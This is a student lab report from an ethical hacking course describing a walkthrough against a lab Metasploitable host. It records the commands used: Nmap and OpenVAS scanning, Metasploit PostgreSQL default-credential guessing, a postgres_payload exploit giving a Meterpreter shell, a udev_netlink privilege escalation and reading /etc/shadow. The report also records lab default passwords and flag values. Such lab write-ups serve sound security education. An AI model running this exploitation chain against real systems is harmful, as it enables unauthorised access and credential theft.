|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| Name: Nishchal Sreevathsa |  |  |  |  |

Remote and Local Exploitation

Ethical Hacking & Lab 5

Table of Contents

1. [Executive Summary 2](#_Toc409378035)

[Highlights](#_Toc409378036)

[Objectives](#_Toc409378037)

1. [Lab Description Details 2](#_Toc409378038)

[Include Steps Taken, Notes, & Screen Shots demonstrating completion of lab objectives](#_Toc409378039)

1. [Supporting Evidence 12](#_Toc409378040)
2. [Conclusion & Wrap-Up 13](#_Toc409378041)

[Summary with observations, Success & Failures, Challenges](#_Toc409378042)

# Executive Summary

## Highlights

|  |  |
| --- | --- |
|  | We use the Metasploit framework on Kali Linux to exploit a weak Postgres service on a Linux server. You will use the Metasploit framework to perform a privileged execution after entering as the attacker.  Nmap: A network's hosts and services can be found with Nmap.  Metasploit Project: The Metasploit Project is a computer security initiative that supports in the creation of IDS signatures, penetration testing, and information regarding security flaws.  Meterpreter: An attacker can explore the target computer and run programs with the help of the interactive shell provided by the Metasploit attack payload meterpreter.  Greenbone: An online application called the Greenbone Security Assistant interfaces with the OpenVAS Manager to offer a fully functional user interface for vulnerability management. |

## Objectives

|  |  |
| --- | --- |
|  | To scan the open TCP ports on the network, we utilize Nmap and OpenVAS.  For this lab's user interface, Greenbone, which links to openVas Manager, is used to conduct vulnerability assessments.  Using Metasploit, which gives information about security flaws and facilitates penetration testing and the creation of IDS signatures, we exploit the vulnerabilities with high severity.  Using meterpreter, we were able to successfully exploit the system and run the commands on the remote target machine. |

# Lab Description Details

## Include Steps Taken, Notes, & Screen Shots demonstrating completion of lab objectives

**NMAP and OpenVAS**

**Step 1:** we click on Kali 2 OpenVas machine with External IP address 175.45.176.200, once the machine starts, select the user as other on login screen and enter the username as **root** and password as **toor** and login to the system.

**Step 2:** Launch the Linux terminal and use nmap to scan for open ports on the firewall.

Command: **# nmap 203.0.113.100 –system-dns**

**Note: Noticed the Sample Flag: 999818 for TCP closed port with number 8180**

**A screenshot of a computer

Description automatically generated**

**Step 3:** We currently employ open ports with a graphical interface called Zenmap. Type 203.0.113.100 in the Target machine box once Zenmap has opened, and then hit the Scan button to begin a thorough scan.

**Command: # zenmap**

When the scan is finished, select the ports/hosts tab to find the port where the postgresql service is executing.

A screenshot of a computer

Description automatically generated

**Step 4:** Launch the OpenVAS Network Scanning application by running the openvas\_start script.

Command: **# /home/scripts/openvas\_start**

A screenshot of a computer

Description automatically generated

**Step 5:** Launch the Iceweasel Web browser after receiving the user prompt back.

Type **https://127.0.0.1:9392** in the browser's address bar.

A screenshot of a computer

Description automatically generated

A computer screen shot of a person holding a pointer

Description automatically generatedA computer screen shot of a cartoon

Description automatically generated**Step6:** In the Greenbone Security Assistant login window enter the credentials with Username as **admin** and Password as **admin.** After logging in, start a thorough scan for the **IP address 203.0.113.100.**

**Step 7:** To view the report after the scan is fully finished, click the date hyperlink. Then, search for various vulnerabilities.

The vulnerability's explanation can then be viewed by clicking on any of the URLs with a high vulnerability.

Read the Vulnerability Detection Result after that to learn how to login as user postgres with the password "postgres."

A screenshot of a computer

Description automatically generatedA screenshot of a computer

Description automatically generated

**Attacking the Target**

**Step 8:** Click on Kali 2 Metasploit machine with External IP address **175.45.176.199**, once the machine starts, enter the username as **root** and password as **toor** and login to the system.

**Step 9:** Start the Postgresql service for Metasploit by opening the terminal.

Command: **# service postgresql start**

Then start the Metasploit framework's msfconcole.

Command: **msfconsole**

Then change the banner in msfconcole.

A screenshot of a computer

Description automatically generated

A computer screen shot of a computer

Description automatically generated

**Note:** Captured the flag for challenge 1 of the question How many exploits are listed for Metasploit. Found there were **1517** exploits list for Metasploit.

**Step 10:** Look up the postgres login information.

Command: **msf > search postgres\_login**

To learn more about the PostgreSQL login auxiliary model, log in using the Auxiliary model and then type info.

Command: **msf > use auxiliary/scanner/postgres/postgres\_login**

**msf auxiliary(postgres\_login) > info**

A computer screen with white text

Description automatically generated

**Step 11:** Finding the USERNAME value, It is configured to Postgres, as you can see. The information's descriptions and links are located at the bottom.

**A screenshot of a computer

Description automatically generated**

**Step 12:** Set the destination machine's IP address as **203.0.113.100**

Command:msf auxiliary(postgres\_login) > **set RHOSTS 203.0.113.100**

Give the login and password to the auxiliary module to attempt.

Command: msf auxiliary(postgres\_login) > **set USER\_AS\_PASS true**

When the password has been successfully guessed, halt the attack.

Command: msf auxiliary(postgres\_login) > **set STOP\_ON\_SUCCESS true**

View the three options you selected in the auxiliary module after that.

Command: msf auxiliary(postgres\_login) > **show options**

A screenshot of a computer

Description automatically generated

**Step 13:** Execute the attack now in auxiliary mode.

Command: msf auxiliary(postgres\_login) > **run**

Following that, look for the Postgres exploit.

Command: msf auxiliary(postgres\_login) > **search postgres\_payload**

Command: msf auxiliary(postgres\_login) > **use exploit/linux/postgres/postgres\_payload**

Then discover more about the PostgreSQL flaw.

Command: msf exploit(postgres\_payload) > **info**

A screenshot of a computer

Description automatically generated

**Step 14:** Set the password for PostgreSQL and the remote host's IP address.

Command: msf exploit(postgres\_payload) > **set RHOST 203.0.113.100**

Command: msf exploit(postgres\_payload) > **set PASSWORD postgres**

Enter the following command to verify the choices you've selected:

msf exploit(postgres\_payload) > **show options**

A screenshot of a computer

Description automatically generated

**Step 15:** Exploit the target system.

Command: msf exploit(postgres\_payload) > **exploit**

Interact with the victim's computer's terminal.

Command: meterpreter > **execute -f /bin/bash -i**

Type the command **$ whoami** to find out the user account you are logged into.

A computer screen shot of a black screen

Description automatically generated

**Step 16:** Attempts to read the shadow file will be unsuccessful. The terminal session can be ended by pressing Control+C.

Commands: postgres@metasploitable: /var/lib/postgresql/8.3/main$ **cat /etc/shadow**

**Privilege Escalation**

**Step 17:** Having trouble reading the shadow file, try looking for a local Linux udev exploit.

Command: msf exploit(postgres\_payload) > **search udev\_netlink**

Then take advantage of local Linux udev.

Command: msf exploit(postgres\_payload) > **use exploit/linux/local/udev\_netlink**

View the choiced for the Linux local udev exploit.

Command: msf exploit(udev\_netlink) > **show options**

A screenshot of a computer

Description automatically generated

**Step 18:** Attack the system, run the script, and communicate with the victim's PC.

Command: msf exploit(udev\_netlink) > **set SESSION 1**

msf exploit(udev\_netlink) > **exploit**

A screenshot of a computer

Description automatically generated

**Step 19:** The passwd file was successfully read.

Command: root@metasploitable:/# **tail /etc/shadow**

A screenshot of a computer

Description automatically generated

**Note:** Discovered and captured the flag for Challenge 2, 3 and 4

**Challenge 2: Flag4 No: 444551**

**Challenge 3: Flag5 No:444778**

**Challenge 4: Flag6 No:616778**

# Supporting Evidence

**Screenshots, Research, Etc.**

**A screenshot of a computer

Description automatically generated**

**A screenshot of a computer

Description automatically generated**

# Conclusion & Wrap-Up

## Summary with observations, Success & Failures, Challenges

We did a thorough examination of the penetration test process in this facility. We identified potential security holes in the target system vulnerabilities as well as within a vulnerable Postgres database by using potent tools like Nmap/Zenmap, openVAS, Greenbone Security Assistant, and IceWeasel.

The necessity of protecting the mentioned items cannot be overstated. Every vulnerability that has been identified offers a potential point of entry for bad actors. We safeguard both the integrity of systems and networks as well as sensitive data by addressing these vulnerabilities as soon as they arise. The lab's findings also emphasize the critical importance of cybersecurity in a society that is becoming more and more digital. Threats change as technology advances, so proactive security measures are crucial for both businesses and individuals.